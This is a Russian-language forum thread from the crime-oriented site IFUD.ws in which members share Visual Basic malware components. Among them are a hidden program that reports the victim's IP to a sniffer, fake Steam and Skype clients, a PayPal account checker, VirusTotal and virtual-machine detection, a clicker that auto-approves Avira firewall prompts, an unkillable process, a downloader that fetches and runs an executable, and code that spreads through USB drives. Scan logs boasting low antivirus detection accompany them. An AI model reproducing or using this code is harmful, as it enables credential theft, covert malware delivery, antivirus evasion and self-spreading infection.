1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

[VB6] Моя коллекция исходников

Тема в разделе "Исходные коды", создана пользователем Apple96, 30 окт 2013.

  1. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Отправка ip на гейт
    Удобно если вы используете какой-нибудь рмс, троян и т.д

    php сниффер заливаем на хост. Please login or register to view links
    Код:
    Option Explicit
     
    Private Const INTERNET_OPEN_TYPE_PRECONFIG = 0
    Private Const INTERNET_OPEN_TYPE_DIRECT = 1
    Private Const INTERNET_OPEN_TYPE_PROXY = 3
    Private Const scUserAgent = "VB Project"
    Private Const INTERNET_FLAG_RELOAD = &H80000000
    Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
    Private Declare Function InternetOpenUrl Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hOpen As Long, ByVal sUrl As String, ByVal sHeaders As String, ByVal lLength As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
    Private Declare Function InternetReadFile Lib "wininet.dll" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
    Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
     
    Private Function OpenURL(ByVal sUrl As String) As String
    Dim hOpen As Long
    Dim hOpenUrl As Long
    Dim bDoLoop As Boolean
    Dim bRet As Boolean
    Dim sReadBuffer As String * 2048
    Dim lNumberOfBytesRead As Long
    Dim sBuffer As String
    hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
    hOpenUrl = InternetOpenUrl(hOpen, sUrl, vbNullString, 0, INTERNET_FLAG_RELOAD, 0)
    bDoLoop = True
    While bDoLoop
    sReadBuffer = vbNullString
    bRet = InternetReadFile(hOpenUrl, sReadBuffer, Len(sReadBuffer), lNumberOfBytesRead)
    sBuffer = sBuffer & Left$(sReadBuffer, lNumberOfBytesRead)
    If Not CBool(lNumberOfBytesRead) Then bDoLoop = False
    Wend
    If hOpenUrl <> 0 Then InternetCloseHandle (hOpenUrl)
    If hOpen <> 0 Then InternetCloseHandle (hOpen)
    OpenURL = sBuffer
    End Function
     
    Private Sub Form_Load()
    OpenURL ("http://ваш сайт.ру/sniff.php")
    hide
    End Sub
    
    Копирование материалов, разрешено только при обязательном указании автора и прямой гиперссылки
     
    • Like Like x 3
  2. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Фейк стима
    Отправка на гейт

    Размер ~ 130 кб
    Не отличить от настоящего)
    При запуске, в трее появляется значок:
    [​IMG]
    В архиве уже есть скомпилированный файл, можно протестировать, отчеты идут сюда
    Please login or register to view links
    [​IMG]
    Так же смотрите
    исходник Please login or register to view links
    [​IMG]
    [​IMG]
    Please login or register to view links | iFUD.ws
    Копирование материалов, разрешено только при обязательном указании автора и прямой гиперссылки
     
    • Like Like x 5
  3. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Патчер

    [​IMG]

    Для начала, создадим сам билдер:
    Создаем форму, кидаем на неё textbox и commandbutton
    Вставляем код:
    Код:
    Option Explicit
     
    Private Sub Command1_Click()
    Dim txt As String
    txt = Text1.Text
        MsgBox StringPatch(App.Path & "\stub.exe", App.Path & "\test.exe", txt)
    End Sub
     
    'this allows 57 bytes settings. can be modified for more or less.
    Function StringPatch(Stub$, NewFile$, Settings$) As Boolean
        On Error GoTo FuckinA
     
        Dim a$, FF#, B$, D$, F$
     
        FF# = FreeFile
        Open Stub$ For Binary As #FF
            a$ = Space(LOF(FF#))
            Get #FF, , a$
        Close #FF
            DoEvents
     
          D$ = "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++" '57 символов 'кол-во символов можно подсчитать тут http://mainspy.ru/kolichestvo_simvolov
     
        D$ = addSpc$(D$)
            DoEvents
     
        If InStr(a$, D$) Then
       
            B$ = "+x+" & Settings$ & "+x+"
       
            F$ = B$ & String(57 - Len(B$), "+")  '57 simvlolov
       
            F$ = addSpc(F$)
            DoEvents
       
            a$ = Replace(a$, D$, F$)
            DoEvents
       
            FF# = FreeFile
            Open NewFile$ For Binary As #FF
                Put #FF, , a$
            Close #FF
       
            DoEvents
       
            StringPatch = True
     
        Else
            MsgBox "Несовпадение символов"
        End If
     
        Exit Function
    FuckinA:
        StringPatch = False
        MsgBox Err.Description, , Err.Number
    End Function
     
    Function addSpc$(a$)
        Dim B$, I, x
        x = Len(a$)
        For I = 1 To x
            If I = x Then
                B$ = B$ & Mid(a$, I, 1)
            Else
                B$ = B$ & Mid(a$, I, 1) & Chr(0)
            End If
        Next I
        addSpc$ = B$
    End Function
    
    Теперь создадим сам стаб:
    Создаем модуль, вставляем код, тестим..
    Код:
    Option Explicit
     
    Public SETTINGS$
     
    Sub Main()
        Dim A$
        A$ = "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
     
        If InStr(A$, "+x+") Then
            A$ = Split(A$, "+x+")(1)
            A$ = Split(A$, "+x+")(0)
       
            MsgBox A$
        Else
            MsgBox "Not found/patched"
        End If
    End Sub
    Please login or register to view links | iFUD.ws
     
    • Like Like x 2
  4. ponchic

    ponchic юзверь

    Регистрация:
    15 дек 2013
    Сообщения:
    408
    Симпатии:
    276
    обход вирус тотал!
    вроде на вб6
    Код:
        Option Explicit
       
       
       
          Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" ( ByVal hKey As Long , ByVal lpSubKey As String , phkResult As Long ) As Long
       
          Private Declare Function RegCloseKey Lib "advapi32.dll" ( ByVal hKey As Long ) As Long
       
          Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" ( ByVal hKey As Long , ByVal lpValueName As String , ByVal lpReserved As Long ,  lpType As Long , lpData As Any, lpcbData As Long ) As Long
       
          Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long )
       
          Public Function VirusTotal() As String
       
          If WinProdKey = "GC8X9-9Y376-BMTFR-T3Q63-R969Q" Then
       
          MsgBox "virustotal"
       
          End
       
          Else
       
          MsgBox "infect"
       
          End If
       
          End Function
       
          Public Function WinProdKey() As String
       
          Dim lhKey As Long
       
          Dim bvBuffer(163) As Byte
       
          Dim vCharset As Variant
       
          Dim bvChar(23) As Byte
       
          Dim i As Long
       
          Dim j As Long
       
          Dim lCur As Long
       
       
       
          If RegOpenKey(&H80000002, "SOFTWARE\MICROSOFT\Windows NT\CurrentVersion" , lhKey) = 0& Then
       
          If RegQueryValueEx(lhKey, "DigitalProductId" , 0, 3, bvBuffer(0), 164) = 0 Then
       
       
       
          Call CopyMemory(bvBuffer(0), bvBuffer(52), &HF)
       
       
       
          vCharset = Array( _
       
          "B" , "C" , "D" , "F" , "G" , "H" , "J" , "K" , "M" , "P" , "Q" , "R" , _
       
          "T" , "V" , "W" , "X" , "Y" , "2" , "3" , "4" , "6" , "7" , "8" , "9" )
       
       
       
          For i = 0 To 23
       
          bvChar(i) = Asc(vCharset(i))
       
          Next
       
       
       
          For i = 24 To 0 Step -1
       
          lCur = 0
       
          For j = 14 To 0 Step -1
       
          lCur = lCur * 256 Xor bvBuffer(j)
       
          bvBuffer(j) = Int(lCur / 24)
       
          lCur = lCur Mod 24
       
          Next
       
          WinProdKey = vCharset(lCur) & WinProdKey
       
          If i Mod 5 = 0 And i <> 0 Then WinProdKey = "-" & WinProdKey
       
          Next
       
       
       
          End If
       
          Call RegCloseKey(lhKey)
       
          End If
       
          End Function
    
    вставлять в код стаба
     
    • Like Like x 3
  5. NoBody

    NoBody

    Регистрация:
    3 мар 2014
    Сообщения:
    229
    Симпатии:
    469
    Сам не тестил??? если работает то крипотры жить долго будут)
     
    • Like Like x 1
  6. ponchic

    ponchic юзверь

    Регистрация:
    15 дек 2013
    Сообщения:
    408
    Симпатии:
    276
    странно то что им никто не пользуется
    Вот чекер PayPal аккаунтов
    Код:
        Private Sub cmdCheck_Click()
        On Error GoTo Error
        Dim Data As String
       
        'Check for valid proxy input
        If Proxy.Value = 1 Then
        ****If txtHost = vbNullString Or txtPort = vbNullString Then
        ********MsgBox "Please input both host/port for proxy", vbCritical, "Error"
        ********Exit Sub
        ****Else
        ********cntNet.Proxy = txtHost & ":" & txtPort
        ****End If
        End If
       
        'Check for valid account input
        If txtEmail = vbNullString Or txtPassword = vbNullString Then
        ****MsgBox "Please input both email/password for account", vbCritical, "Error"
        ****Exit Sub
        Else
        ****Data = cntNet.OpenURL("http://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit&amp;dispatch=5885d80a13c0db1f35bed810ca2922 4194ca8b1b097b671988f0ad0034239f2
        2&login_cmd=&login_params=&login_email=" & txtEmail.Text & "&login_password=" & txtPassword.Text & "&submit.x=Log+In&form_charset=UTF-8&browser_name=Firefox&browser_version=2&operati ng _system=Windows&iconix_installed=0")
        End If
       
        'Check state of account
        If InStr(1, Data, "Logging") Then
        ****MsgBox "Account details valid!", vbExclamation, "Success"
        ElseIf InStr(1, Data, "The information") Then
        ****MsgBox "Account details invalid!", vbCritical, "Error"
        ElseIf InStr(1, Data, "Security Measures") Then
        ****MsgBox "Account details valid but limited!", vbExclamation, "Success"
        End If
        Exit Sub
       
        Error:
        MsgBox "Unknown error while checking account details", vbCritical, "Error"
        Exit Sub
        End Sub
    
     
    • Like Like x 2
  7. ponchic

    ponchic юзверь

    Регистрация:
    15 дек 2013
    Сообщения:
    408
    Симпатии:
    276
    Калькулятор на VB [Видео] + Source

    <iframe width="640" height="360" src="//Please login or register to view links" frameborder="0" allowfullscreen></iframe>


    Code (close)
    Public Class Form1
    Dim num, num1 As Decimal
    Dim plus, minus, ymn, del As Boolean

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    TextBox1.Text += "1"
    End Sub

    Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click
    TextBox1.Text += "2"
    End Sub

    Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
    TextBox1.Text += "3"
    End Sub

    Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
    TextBox1.Text += "4"
    End Sub

    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
    TextBox1.Text += "5"
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
    TextBox1.Text += "6"
    End Sub

    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
    TextBox1.Text += "7"
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
    TextBox1.Text += "8"
    End Sub

    Private Sub Button10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button10.Click
    TextBox1.Text += "9"
    End Sub

    Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click
    TextBox1.Text += "0"
    End Sub

    Private Sub Button16_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button16.Click
    TextBox1.Text += "."
    End Sub

    Private Sub Button11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button11.Click
    num = Val(TextBox1.Text)
    TextBox1.Text = Nothing
    plus = True
    End Sub

    Private Sub Button15_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button15.Click
    num1 = Val(TextBox1.Text)
    If plus = True Then
    TextBox1.Text = (num + num1).ToString
    plus = False
    End If
    If minus = True Then
    TextBox1.Text = (num - num1).ToString
    minus = False
    End If
    If ymn = True Then
    TextBox1.Text = (num * num1).ToString
    ymn = False
    End If
    If del = True Then
    TextBox1.Text = (num / num1).ToString
    del = False
    End If

    End Sub

    Private Sub Button12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button12.Click
    num = Val(TextBox1.Text)
    TextBox1.Text = Nothing
    minus = True
    End Sub

    Private Sub Button17_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button17.Click
    TextBox1.Text = Nothing
    End Sub

    Private Sub Button14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button14.Click
    num = Val(TextBox1.Text)
    TextBox1.Text = Nothing
    del = True
    End Sub

    Private Sub Button13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button13.Click
    num = Val(TextBox1.Text)
    TextBox1.Text = Nothing
    ymn = True
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub
    End Class​

    Source (close)
    Please login or register to view links
     
    • Like Like x 2
  8. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Определяем ВМ
    Код:
    Option Explicit
     
    Private Declare Function CreateToolhelpSnapshot _
                    Lib "Kernel32" _
                    Alias "CreateToolhelp32Snapshot" (ByVal dwFlags As Long, _
                                                      ByVal th32ProcessID As Long) As Long
    Private Declare Function ProcessFirst _
                    Lib "Kernel32" _
                    Alias "Process32First" (ByVal hSnapShot As Long, _
                                            uProcess As PROCESSENTRY32) As Long
    Private Declare Function ProcessNext _
                    Lib "Kernel32" _
                    Alias "Process32Next" (ByVal hSnapShot As Long, _
                                          uProcess As PROCESSENTRY32) As Long
    Private Declare Sub CloseHandle Lib "Kernel32" (ByVal hObject As Long)
    Private Declare Function GetCurrentProcessId Lib "Kernel32" () As Long
     
    Private Const TH32CS_SNAPPROCESS = &H2
    Private Const MAX_PATH As Long = 260
     
    Private Type PROCESSENTRY32
        dwSize As Long
        cntUsage As Long
        th32ProcessID As Long
        th32DefaultHeapID As Long
        th32ModuleID As Long
        cntThreads As Long
        th32ParentProcessID As Long
        pcPriClassBase As Long
        dwFlags As Long
        szExeFile As String * MAX_PATH
    End Type
     
    Function vm()
        Dim oAdapters As Object
        Dim oCard    As Object
        Dim SQL      As String
        SQL = "SELECT * FROM Win32_VideoController"
        Set oAdapters = GetObject("winmgmts:").ExecQuery(SQL)
     
        ' Палим карту
        For Each oCard In oAdapters
            Select Case oCard.Description
       
                Case "VM Additions S3 Trio32/64"
                MsgBox "VM Additions S3 Trio32/64"
                    End
                Case "S3 Trio32/64"
                MsgBox "S3 Trio32/64"
                    End
                Case "VirtualBox Graphics Adapter"
                MsgBox "VirtualBox Graphics Adapter"
                    End
                Case "VMware SVGA II"
                MsgBox "VMware SVGA II"
                    End
                Case ""
                    End
                Case Else
     
            End Select
           
        Next
    End Function
     
     
     
    Private Sub Form_Load()
    vm
    End Sub
    
     
    • Like Like x 2
  9. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Фэйк скайпа)

    [​IMG]

    Вес жирный ~ 500кб, а потому, что не нашел нормальной иконки) пришлось брать оригинал
    Исходник в конце поста

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

    Скан:
    Название файла: skype.exe
    Размер файла: 495616 байт
    Дата сканирования: Sat, 12 Apr 14 16:00:09 -0400
    MD5-хэш файла: 8687c74b0bcc524baffb0b99d50898cd

    Результат: 1 из 37

    Ad-Aware: OK
    AhnLab V3 Internet Security: OK
    ArcaVir: OK
    Avast: OK
    AVG: LuaHeur.Luhe.Fiha.A
    Avira: OK
    Bitdefender/BullGuard: OK
    BullGuard Internet Security 2013: OK
    Comodo: OK
    Dr.Web: OK
    Emsisoft Anti-Malware (a-squared Anti-Malware): OK
    eScan Internet Security Suite 14: OK
    Fortinet 5: OK
    F-Prot: OK
    F-Secure 2014: OK
    G Data: OK
    IKARUS: OK
    Immunet/ClamAV: OK
    K7 Ultimate: OK
    Kaspersky Internet Security 2014: OK
    McAfee Total Protection 2013: OK
    Microsoft Security Essentials: OK
    NANO: OK
    NOD32: OK
    Norman: OK
    Norton Internet Security: OK
    Outpost Security Suite Pro 8.0: OK
    Panda Antivirus: OK
    Quick Heal: OK
    Sophos: OK
    SUPERAntiSpyware: OK
    Total Defense Internet Security: OK
    Trendmicro Titanium Internet Security: OK
    Twister Antivirus 8: OK
    VBA: OK
    VIPRE Internet Security 2013: OK
    --- добавлено: 13 апр 2014 в 00:18 ---
    ===========================================================

    Обход фаирволла авиры


    Тут на 2 версии авиры: русской и англ

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

    Скан:
    Название файла: Project1.exe
    Размер файла: 12288 байт
    Дата сканирования: Sat, 12 Apr 14 16:13:35 -0400
    MD5-хэш файла: 745223f2ee5bf14a7d466b5ddcf6d0f4

    Результат: 0 из 37

    Ad-Aware: OK
    AhnLab V3 Internet Security: OK
    ArcaVir: OK
    Avast: OK
    AVG: OK
    Avira: OK
    Bitdefender/BullGuard: OK
    BullGuard Internet Security 2013: OK
    Comodo: OK
    Dr.Web: OK
    Emsisoft Anti-Malware (a-squared Anti-Malware): OK
    eScan Internet Security Suite 14: OK
    Fortinet 5: OK
    F-Prot: OK
    F-Secure 2014: OK
    G Data: OK
    IKARUS: OK
    Immunet/ClamAV: OK
    K7 Ultimate: OK
    Kaspersky Internet Security 2014: OK
    McAfee Total Protection 2013: OK
    Microsoft Security Essentials: OK
    NANO: OK
    NOD32: OK
    Norman: OK
    Norton Internet Security: OK
    Outpost Security Suite Pro 8.0: OK
    Panda Antivirus: OK
    Quick Heal: OK
    Sophos: OK
    SUPERAntiSpyware: OK
    Total Defense Internet Security: OK
    Trendmicro Titanium Internet Security: OK
    Twister Antivirus 8: OK
    VBA: OK
    VIPRE Internet Security 2013: OK
    Virit: OK

    Код:
    Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
    Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
    Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
    Sub RusAvir()
    lngHandle = FindWindow(vbNullString, "Сетевое событие")
    If (lngHandle <> 0) Then
        lngStartButton = FindWindowEx(lngHandle, 0, "", "&Allow")
        SetWindowPos lngHandle, 0, 0, 0, 0, 0, 2
        AppActivate ("Сетевое событие")
        SendKeys "{left}"
        SendKeys "{enter}"
        WireClose = PostMessage(lngHandle, &H10, 0&, 0&)
    End If
    End Sub
    Sub EngAvir()
    lngHandle = FindWindow(vbNullString, "Network event")
    If (lngHandle <> 0) Then
        lngStartButton = FindWindowEx(lngHandle, 0, "", "&Allow")
        SetWindowPos lngHandle, 0, 0, 0, 0, 0, 2
        AppActivate ("Network event")
        SendKeys "{left}"
        SendKeys "{enter}"
        WireClose = PostMessage(lngHandle, &H10, 0&, 0&)
    End If
    End Sub
    
    --- добавлено: 13 апр 2014 в 00:41 ---
    =========================================================

    Меняем дату создания/изменения/открытия файла!

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

    [​IMG]
     

    Вложения:

    • Like Like x 3
  10. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Что-то вроде привязке к железу)
    Палит серийник жесткого диска, прибавляет, умножает и делит, в итоге получается уникальный ключ.)
    В общем сами разберётесь)

    [​IMG]

    Pass: iFUD.ws
    --- добавлено: 16 апр 2014 в 23:54 ---

    '======================================================

    Копируем файлы в буфер обмена.
    [​IMG]

    Pass: iFUD.ws
     

    Вложения:

    • Like Like x 3
  11. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Не убиваемый процесс:)))
    Autor: Pink/Danyfirex
    Код (text):
    Код:
    Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
    Private Declare Function ZwSetInformationProcess Lib "ntdll" (ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
    Private Sub Form_Load()
    ZwSetInformationProcess GetCurrentProcess(), &H21&, VarPtr(&H8000F129), &H4&
    End Sub
    
     
    • Like Like x 3
  12. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Билдер/Сплиттер называйте как хотите

    [​IMG]

    Pass: iFUD.ws
     

    Вложения:

    • Builder.rar
      Размер файла:
      2,9 КБ
      Просмотров:
      5
    • Like Like x 3
  13. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Определяем свой айпи

    [​IMG]

    Не забудьте кинуть на форму компонент Microsoft internet transfer

    Pass: iFUD.ws
    Код:
    Public Function MyIp()
    Dim SiteUrl As String, Data() As String
        SiteUrl = Inet1.OpenURL("http://bilet.pp.ru/calculator_rus/moi_ip.php")
        Data = Split(SiteUrl, Chr(10))
        MyIp = Replace(Data(234), "</font></h1>", "by Apple96")
        MsgBox MyIp
    End
    End Function
     
    Private Sub Form_Load()
    MyIp
    End Sub
    
     

    Вложения:

    • Ip.rar
      Размер файла:
      15,7 КБ
      Просмотров:
      0
    • Like Like x 2
  14. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Простой пример отправки инфы на сниффер
    Сниффер Please login or register to view linksу RisenNub'a))
    Pass: Ifud.ws
    [​IMG]

    [​IMG]
     

    Вложения:

    • Like Like x 2
  15. By_Cryptor

    By_Cryptor

    Регистрация:
    13 мар 2014
    Сообщения:
    353
    Симпатии:
    522
    Skin Black (Черный скин,или называйте как хотите)
    Щёлкаем правой кнопкой мыши по форме Добавить/добавляем файл Skin.Res
    [​IMG]
    После того,как добавили,заходим в компоненты (Ctrl+T)и ставим галочку на:
    [​IMG]
    После этого появиться[​IMG],вставляем на форму...
    Теперь открываем исходный код формы и вставляем:
    Код:
    Private Sub Form_Load()
        Dim TUTORIAL As String
    Dim Archivo() As Byte
     
     
    TUTORIAL = "C:\AKIN.MSSTYLES"
    Archivo = LoadResData(101, "CUSTOM")
     
    Open TUTORIAL For Binary As 1#
    Put #1, , Archivo
    Close #1
     
    SkinFramework1.LoadSkin "C:\AKIN.MSSTYLES", vbNullString
    SkinFramework1.ApplyWindow Me.hWnd
     
    End Sub
    Всё Готово.Компилируем и видим.....)))
    [​IMG]
    Please login or register to view links/iFUD.ws
    ------------------------------------------------------------------------------------------------------------------------------------------------------
    [​IMG]
     
    • Like Like x 2
  16. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Инфо об айпи

    [​IMG]

    Не забудьте добавить на форму компонент Microsoft Internet Transfer Control 6.0 (MSINET.ocx)
    Pass на архив: iFUD.ws
    Код:
    Dim dim1 As String
    Dim Info As String
    Private Sub Command1_Click()
    Dim site As String, Data() As String
        site = Inet1.OpenURL("http://ip2geolocation.com/?ip=" & Text2)
        Data = Split(site, Chr(10))
        Info = Replace(Data(5), ">", " | Apple96")
        Text1.Text = Info
        dim1 = Mid(Info, 78)
        Text1.Text = dim1
        Text1 = Replace(Text1.Text, Chr(34), "")
        MsgBox Text1.Text
    End Sub
     
    Private Sub Form_Load()
    Dim site As String, Data() As String
        site = Inet1.OpenURL("http://ip2geolocation.com/")
        Data = Split(site, Chr(10))
        Info = Replace(Data(5), ">", " | Apple96")
        Text1.Text = Info
        dim1 = Mid(Info, 78)
        Text1.Text = dim1
        Text1 = Replace(Text1.Text, Chr(34), "")
        MsgBox Text1.Text
    End Sub
     

    Вложения:

    • info.rar
      Размер файла:
      1,6 КБ
      Просмотров:
      0
    • Like Like x 1
  17. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Ещё один лоадер))
    Код:
    Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
    Private Declare Function ShellExecute Lib "shell32" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    Sub Main()
    Dim kudahkudah As String
    Dim cockerels As String
    Dim Path As String
    foolder = Environ("tmp") & "\"
    kudahkudah = foolder + "911.exe" ' название файла
    cockerels = "http://site.ru/file.exe" ' ссылка на ваш файл
    Call URLDownloadToFile(0, cockerels, kudahkudah, 0, 0)
    Call app(kudahkudah)
    End Sub
    Sub app(kokoko As String)
    Call ShellExecute(hWnd, vbNullString, kokoko, vbNullString, vbNullString, SW_SHOWNORMAL)
    End Sub
     
  18. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Авторизация на сайте, использую компонент webbrowser

    [​IMG]
    Код:
    Sub Command1_Click()
      Dim url As String
      Dim Flags As Long
      Dim TargetFrame As String
      Dim PostData() As Byte
      Dim Headers As String
      url = "http://ifud.ws/login/login"
      Flags = 0
      PostData = "login=" & Text1 & "&" & "register=0&password=" & Text2 & "&" & "&remember=1&cookie_check=1&redirect=%2F&_xfToken=" '&remember=1/0 это значит запоминать данные или же нет
      PostData = StrConv(PostData, vbFromUnicode)
      Headers = "Content-Type: application/x-www-form-urlencoded" & vbCrLf
      WebBrowser1.Navigate url, Flags, TargetFrame, PostData, Headers
    End Sub
    
    Private Sub Form_Load()
    WebBrowser1.Navigate "http://ifud.ws"
    End Sub


    ====================================================================​
    --- Добавил сообщение, 21 апр 2015, Оригинальный пост: 3 ноя 2014 ---
    Распространение файла по USB (lnk)
    Инструкция:
    В References ставим галочку на Microsoft Scripting Runtime
    Настройка
    Call SpreadUSB(PathExe, InfectedName, Command, isAutoRun)
    PathExe: - находим путь к нашему файлу
    InfectedName: - Название файла, который будет скопирован на флешку
    Command: - Оставляем без изменений, отвечает за запуск файла через ярлык
    isAutoRun: - Либо True, либо False. Отвечает за создание Autoran.inf файла, со всеми параметрами автозапуска
    Пример:
    Код:
    Call SpreadUSB(App.Path & "\" & App.EXEName & ".exe", "filename.exe", Command, True)

    Автор кода: chequinho
    Код:
    'Funcion: SpreadUSB
    'Autor: chequinho
    'Creditos: Karcrack (AutoRun)
    'Finalidad: Distribuir o "spradear" un archivo en todos los dispositivos USB conectados
    'Fecha: 06/07/2013
    'Detecciones: 1/35 (TrendMicro)
    'Compilacion: Native Fast Code
    'Uso: Call SpreadUSB(sMyPathEx, InfectedName, Command, isAutoRun)
        'sMyPathEx: El directorio hacia el ejecutable a distribuir
        'InfectedName: El nombre dej ejecutable que sera copiado a los dispositivos USB
        'Command: El comando o la ruta del archivo reemplazado (para que al ejecutar el acceso directo, se abra tambien el archivo original) [No modificar]
        'isAutoRun: True si se desea crear AutoRun en los dispositivos, de lo contrario False
    'Ejemplo:
        'Call SpreadUSB(App.Path & "\" & App.EXEName & ".exe", "loquesea.exe", Command, True)
    'Notas
        '- Si la unidad esta vacia, se crea un directorio vacio llamado 'Updates'
        '- El icono de la aplicacion asociada con el tipo de archivo almacenado en el dispositivo se mantiene
        '- Al ejecutar el acceso directo, se abrira el archivo especificado y en seguida el archivo original
        '- El autorun es muy detectado, no es muy recomendable activarlo
        '- Se requiere agregar referencia hacia Windows Script Host Object Model en el menu Proyecto > Referencias
        '- Si el archivo en cuestion ya esta spradeado en un dispositivo, la funcion de spread se omite
    '-------------------------------------------------------------------------------------------------------------------
    Private Declare Function FindExecutable Lib "SHELL32" Alias "FindExecutableA" (ByVal lpFile As String, ByVal lpDirectory As String, ByVal lpResult As String) As Long
    Private Declare Function ShellExecuteA Lib "SHELL32" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    Public Sub SpreadUSB(FilePath As String, FileNameDest As String, Parameter As String, isAutoRun As Boolean)
        Call ExecParam(Parameter)
        If inUSB(FilePath) = True Then Exit Sub
        Dim i As Long
        Dim USBDrivers() As String
        USBDrivers = Split(DetectUSBDrivers, "<->")
        Dim sFile As String
        For i = 0 To UBound(USBDrivers) - 1
            If FileExist(USBDrivers(i) & "\" & FileNameDest) = False Then
                If Mid(FilePath, 1, 2) <> USBDrivers(i) Then
                    If isFolderEmpty(USBDrivers(i)) Then Call MkDir(USBDrivers(i) & "\Updates")
                    sFile = Dir(USBDrivers(i) & "\*.*", vbDirectory + vbNormal)
